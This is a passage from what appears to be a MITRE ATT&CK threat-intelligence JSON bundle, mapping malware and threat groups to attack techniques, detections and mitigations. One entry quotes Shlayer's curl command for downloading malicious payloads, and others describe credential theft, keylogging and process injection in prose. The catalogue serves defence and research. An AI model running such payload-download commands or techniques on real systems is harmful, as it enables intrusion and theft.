2018"}],"modified":"2020-03-17T01:19:37.052Z","description":"[Final1stspy](https://attack.mitre.org/software/S0355) uses HTTP for C2.(Citation: Unit 42 Nokki Oct 2018)","relationship_type":"uses","source_ref":"malware--a2282af0-f9dd-4373-9b92-eaf9e11e0c71","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9b36e877-e637-46b8-bdf1-def74c977472","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky ProjectSauron Technical Analysis","description":"Kaspersky Lab's Global Research & Analysis Team. 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(2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019."}],"modified":"2019-09-23T23:14:16.692Z","description":"(Citation: FireEye APT41 Aug 2019)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"tool--9de2308e-7bed-43a3-8e58-f194b3586700","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--00c0e096-f023-4ccc-8567-d1e8c8494cb5","type":"relationship","created":"2020-05-11T21:30:27.895Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Frankenstein June 2019","url":"https://blog.talosintelligence.com/2019/06/frankenstein-campaign.html","description":"Adamitis, D. et al. (2019, June 4). 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Retrieved May 11, 2020."}],"modified":"2020-05-28T00:01:09.733Z","description":"[Frankenstein](https://attack.mitre.org/groups/G0101) has enumerated hosts via [Empire](https://attack.mitre.org/software/S0363), gathering various local system information.(Citation: Talos Frankenstein June 2019)","relationship_type":"uses","source_ref":"intrusion-set--6b1b551c-d770-4f95-8cfc-3cd253c4c04e","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--918363cd-0f95-42f8-9e93-22d7982f6bbe","type":"relationship","created":"2022-02-07T16:23:57.912Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike StellarParticle January 2022","url":"https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/","description":"CrowdStrike. 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Retrieved February 7, 2022."}],"modified":"2022-02-07T16:23:57.912Z","description":"[APT29](https://attack.mitre.org/groups/G0016) has conducted credential theft operations to obtain credentials to be used for access to victim environments.(Citation: CrowdStrike StellarParticle January 2022)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--bc76d0a4-db11-4551-9ac4-01a469cfb161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--481fedde-ac7d-4d1b-a70a-b90ccd7acc52","type":"relationship","created":"2021-10-17T15:10:00.603Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Tonto Team October 2020","url":"https://vb2020.vblocalhost.com/uploads/VB2020-06.pdf","description":"Daniel Lughi, Jaromir Horejsi. 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Retrieved October 17, 2021."}],"modified":"2021-10-17T15:10:00.603Z","description":"[Tonto Team](https://attack.mitre.org/groups/G0131) has used the <code>ShowLocalGroupDetails</code> command to identify administrator, user, and guest accounts on a compromised host.(Citation: TrendMicro Tonto Team October 2020)","relationship_type":"uses","source_ref":"intrusion-set--c5b81590-6814-4d2a-8baa-15c4b6c7f960","target_ref":"attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bd79d063-3407-4da9-b6d1-6170a3b9edfc","type":"relationship","created":"2021-10-16T20:44:20.925Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Carbon Black Shlayer Feb 2019","url":"https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/","description":"Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019."},{"source_name":"sentinelone shlayer to zshlayer","url":"https://www.sentinelone.com/blog/coming-out-of-your-shell-from-shlayer-to-zshlayer/","description":"Phil Stokes. (2020, September 8). Coming Out of Your Shell: From Shlayer to ZShlayer. Retrieved September 13, 2021."},{"source_name":"20 macOS Common Tools and Techniques","url":"https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/","description":"Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021."},{"source_name":"objectivesee osx.shlayer apple approved 2020","url":"https://objective-see.com/blog/blog_0x4E.html","description":"Patrick Wardle. (2020, August 30). Apple Approved Malware malicious code ...now notarized!? #2020. Retrieved September 13, 2021."}],"modified":"2021-10-16T20:44:20.925Z","description":"[OSX/Shlayer](https://attack.mitre.org/software/S0402) can download payloads, and extract bytes from files. [OSX/Shlayer](https://attack.mitre.org/software/S0402) uses the <code>curl -fsL \"$url\" >$tmp_path</code> command to download malicious payloads into a temporary directory.(Citation: Carbon Black Shlayer Feb 2019)(Citation: sentinelone shlayer to zshlayer)(Citation: 20 macOS Common Tools and Techniques)(Citation: objectivesee osx.shlayer apple approved 2020)","relationship_type":"uses","source_ref":"malware--f1314e75-ada8-49f4-b281-b1fb8b48f2a7","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--00aa618f-bcfa-4649-8436-134f9d01e43c","type":"relationship","created":"2020-06-19T21:25:43.683Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. 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(2020, June 25). The Golden Tax Department and Emergence of GoldenSpy Malware. Retrieved July 23, 2020."}],"modified":"2020-07-23T14:20:48.673Z","description":"[GoldenSpy](https://attack.mitre.org/software/S0493) has used the Ryeol HTTP Client to facilitate HTTP internet communication.(Citation: Trustwave GoldenSpy June 2020)","relationship_type":"uses","source_ref":"malware--b9704a7d-feef-4af9-8898-5280f1686326","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ae0b54d4-8aac-400a-ab6a-9656144c77cc","type":"relationship","created":"2020-11-09T14:52:45.610Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Kimsuky November 2020","url":"https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite","description":"Dahan, A. et al. (2020, November 2). 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(2019, October 30). Nick Carr Status Update APT41 Environmental Keying. Retrieved June 23, 2020."}],"modified":"2020-06-24T00:51:25.879Z","description":"[APT41](https://attack.mitre.org/groups/G0096) has encrypted payloads using the Data Protection API (DPAPI), which relies on keys tied to specific user accounts on specific machines. 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(2020, March). CAUSE AND EFFECT: SODINOKIBI RANSOMWARE ANALYSIS. Retrieved December 14, 2020."}],"modified":"2020-12-18T16:54:50.285Z","description":"[GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) has staged and executed PowerShell scripts on compromised hosts.(Citation: Tetra Defense Sodinokibi March 2020)","relationship_type":"uses","source_ref":"intrusion-set--c77c5576-ca19-42ed-a36f-4b4486a84133","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7292fecb-86cc-4e0b-9e46-b8535f68e05e","type":"relationship","created":"2022-03-30T14:26:51.873Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.873Z","description":"Time-based evasion will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8b4fd69e-a3c6-4721-9aed-d8235a93672e","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.group-ib.com/blog/cobalt","description":"Matveeva, V. (2017, August 15). Secrets of Cobalt. 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Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7066827b-795c-447c-9c07-05765ed1e07b","type":"relationship","created":"2020-05-04T19:13:35.383Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT HOTCROISSANT February 2020","url":"https://www.us-cert.gov/ncas/analysis-reports/ar20-045d","description":"US-CERT. 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Retrieved May 1, 2020."}],"modified":"2020-05-06T19:28:22.199Z","description":"[HotCroissant](https://attack.mitre.org/software/S0431) can perform dynamic DLL importing and API lookups using <code>LoadLibrary</code> and <code>GetProcAddress</code> on obfuscated strings.(Citation: US-CERT HOTCROISSANT February 2020)","relationship_type":"uses","source_ref":"malware--aad11e34-02ca-4220-91cd-2ed420af4db3","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--94035326-619c-4307-ac07-5def29b85f59","type":"relationship","created":"2020-01-15T18:02:50.149Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-01-15T18:02:50.149Z","relationship_type":"revoked-by","source_ref":"attack-pattern--2ba5aa71-9d15-4b22-b726-56af06d9ad2f","target_ref":"attack-pattern--c0dfe7b0-b873-4618-9ff8-53e31f70907f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9b80479d-6f7a-45fd-af5b-1e8adfb1e7fd","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf","description":"Gross, J. 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Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","source_name":"Beechey 2010"},{"source_name":"Microsoft Windows Defender Application Control","url":"https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/windows-defender-application-control","description":"Gorzelany, A., Hall, J., Poggemeyer, L.. (2019, January 7). Windows Defender Application Control. Retrieved July 16, 2019."},{"url":"http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. 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(Citation: TechNet Applocker vs SRP)","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--317fefa6-46c7-4062-adb6-2008cf6bcb41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--406ad011-8d60-45b0-bb7e-52704684b4e8","type":"relationship","created":"2022-03-30T14:26:51.869Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.869Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--38eb0c22-6caf-46ce-8869-5964bd735858","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d54e7a92-0601-4b77-8675-46e33b577b4d","type":"relationship","created":"2021-05-05T13:59:21.337Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2021-05-05T13:59:21.337Z","description":"[LiteDuke](https://attack.mitre.org/software/S0513) can enumerate the account name on a targeted system.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"malware--95e2cbae-d82c-4f7b-b63c-16462015d35d","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--482aa19e-062b-46b2-bf4e-802b64d80504","type":"relationship","created":"2022-03-30T14:26:51.841Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.841Z","description":"Monitor for unexpected deletion of a virtual machine image (ex: Azure Compute Service Images DELETE)","source_ref":"x-mitre-data-component--8b4ca854-ac08-47da-b24f-601b28a39aff","target_ref":"attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2df6acb7-87cc-49be-9cd6-6adbdfdd773f","type":"relationship","created":"2022-03-30T14:26:51.856Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.856Z","description":"Monitor for the unexpected changes to cloud block storage volumes . To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.","source_ref":"x-mitre-data-component--d46272ce-a0fe-4256-855e-738de7bb63ee","target_ref":"attack-pattern--144e007b-e638-431d-a894-45d90c54ab90","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9dcf5d9f-7e68-4a5c-a51c-f3c87d5833cd","type":"relationship","created":"2020-04-29T19:30:54.274Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos PoetRAT April 2020","url":"https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html","description":"Mercer, W, et al. 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Retrieved April 27, 2020."}],"modified":"2020-04-30T14:10:34.498Z","description":"[PoetRAT](https://attack.mitre.org/software/S0428) used voStro.exe, a compiled pypykatz (Python version of [Mimikatz](https://attack.mitre.org/software/S0002)), to steal credentials.(Citation: Talos PoetRAT April 2020)","relationship_type":"uses","source_ref":"malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d014d8e1-b12e-4b85-84ee-ff4338c54393","type":"relationship","created":"2019-01-30T15:33:07.510Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant APT1","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. 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(2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019."}],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor for third-party application logging, messaging, and/or other artifacts that may abuse Microsoft Outlook rules to obtain persistence on a compromised system. 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Retrieved February 2, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Lizar](https://attack.mitre.org/software/S0681) can migrate the loader into another process.(Citation: BiZone Lizar May 2021)","modified":"2022-04-05T17:33:00.067Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--f74a5069-015d-4404-83ad-5ca01056c0dc","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f6a55d63-5d15-40d2-9d31-793cbfadb444","type":"relationship","created":"2019-06-25T14:23:11.523Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-02-21T20:57:38.302Z","description":"Make sure that the <code>HISTCONTROL</code> environment variable is set to “ignoredup” instead of “ignoreboth” or “ignorespace”.","relationship_type":"mitigates","source_ref":"course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3","target_ref":"attack-pattern--086952c4-5b90-4185-b573-02bad8e11953","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5e3f6da4-a327-4c42-8a12-bc5840336430","type":"relationship","created":"2020-02-21T17:31:33.866Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2022-03-08T21:00:52.893Z","description":"Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled, as this is often equivalent to having a local administrator account with the same password on all systems. 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Retrieved May 6, 2020."}],"modified":"2020-05-06T21:01:23.493Z","description":"One of [Attor](https://attack.mitre.org/software/S0438)'s plugins can collect user credentials via capturing keystrokes and can capture keystrokes pressed within the window of the injected process.(Citation: ESET Attor Oct 2019)","relationship_type":"uses","source_ref":"malware--8f423bd7-6ca7-4303-9e85-008c7ad5fdaa","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c07e24ea-bf70-4f9c-a45e-73dfc0ede007","type":"relationship","created":"2021-08-26T18:49:41.455Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Accenture MUDCARP March 2019","url":"https://www.accenture.com/us-en/blogs/cyber-defense/mudcarps-focus-on-submarine-technologies","description":"Accenture iDefense Unit. (2019, March 5). Mudcarp's Focus on Submarine Technologies. Retrieved August 24, 2021."}],"modified":"2021-10-06T19:18:54.650Z","description":"[BADFLICK](https://attack.mitre.org/software/S0642) has download files from its C2 server.(Citation: Accenture MUDCARP March 2019)","relationship_type":"uses","source_ref":"malware--57d83eac-a2ea-42b0-a7b2-c80c55157790","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--72cf04c6-5e0b-4743-9386-88f1f1f45899","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog.malwarebytes.com/threat-analysis/2016/08/smoke-loader-downloader-with-a-smokescreen-still-alive/","description":"Hasherezade. (2016, September 12). Smoke Loader – downloader with a smokescreen still alive. Retrieved March 20, 2018.","source_name":"Malwarebytes SmokeLoader 2016"},{"source_name":"Microsoft Dofoil 2018","description":"Windows Defender Research. (2018, March 7). Behavior monitoring combined with machine learning spoils a massive Dofoil coin mining campaign. Retrieved March 20, 2018.","url":"https://cloudblogs.microsoft.com/microsoftsecure/2018/03/07/behavior-monitoring-combined-with-machine-learning-spoils-a-massive-dofoil-coin-mining-campaign/"}],"modified":"2019-06-24T19:07:12.536Z","description":"[Smoke Loader](https://attack.mitre.org/software/S0226) spawns a new copy of c:\\windows\\syswow64\\explorer.exe and then replaces the executable code in memory with malware.(Citation: Malwarebytes SmokeLoader 2016)(Citation: Microsoft Dofoil 2018)","relationship_type":"uses","source_ref":"malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0","target_ref":"attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--88c50625-6d02-42fb-aa82-4315a532b754","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Magic Hound Feb 2017","description":"Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"}],"modified":"2019-09-09T19:21:42.276Z","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) malware gathers the victim's local IP address, MAC address, and external IP address.(Citation: Unit 42 Magic Hound Feb 2017)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b3bc844c-bebf-4756-8d33-6e16ca4ee6a1","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/","description":"Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.","source_name":"Palo Alto Networks BBSRAT"}],"modified":"2019-04-24T23:10:02.486Z","description":"[BBSRAT](https://attack.mitre.org/software/S0127) uses HTTP TCP port 80 and HTTPS TCP port 443 for communications.(Citation: Palo Alto Networks BBSRAT)","relationship_type":"uses","source_ref":"malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80","target_ref":"attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8debe90d-927a-4195-b796-793e9b1730ee","type":"relationship","created":"2021-06-03T20:16:27.265Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye FiveHands April 2021","url":"https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html","description":"McLellan, T.  and Moore, J. et al. (2021, April 29). UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat. Retrieved June 2, 2021."}],"modified":"2021-06-03T20:16:27.265Z","description":"[HELLOKITTY](https://attack.mitre.org/software/S0617) has the ability to enumerate network resources.(Citation: FireEye FiveHands April 2021)","relationship_type":"uses","source_ref":"malware--5d11d418-95dd-4377-b782-23160dfa17b4","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--448cab31-deb1-40d5-a7f6-848d0116c4b6","type":"relationship","created":"2022-03-26T03:47:58.950Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mythc Documentation","url":"https://docs.mythic-c2.net/","description":"Thomas, C. (n.d.). Mythc Documentation. Retrieved March 25, 2022."}],"modified":"2022-03-26T03:47:58.950Z","description":"[Mythic](https://attack.mitre.org/software/S0699) provides various transform functions to encode and/or randomize C2 data.(Citation: Mythc Documentation)\t","relationship_type":"uses","source_ref":"tool--d505fc8b-2e64-46eb-96d6-9ef7ffca5b66","target_ref":"attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--874d3e3b-bf8e-454e-afdb-7986b6c0edc4","type":"relationship","created":"2022-03-30T14:26:51.861Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.861Z","description":"Monitor for newly executed processes that may attempt to gather information about attached peripheral devices and components connected to a computer system.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--acb0fd33-201c-481f-857d-429c3ef67015","type":"relationship","created":"2021-01-25T16:05:34.220Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCC Group Chimera January 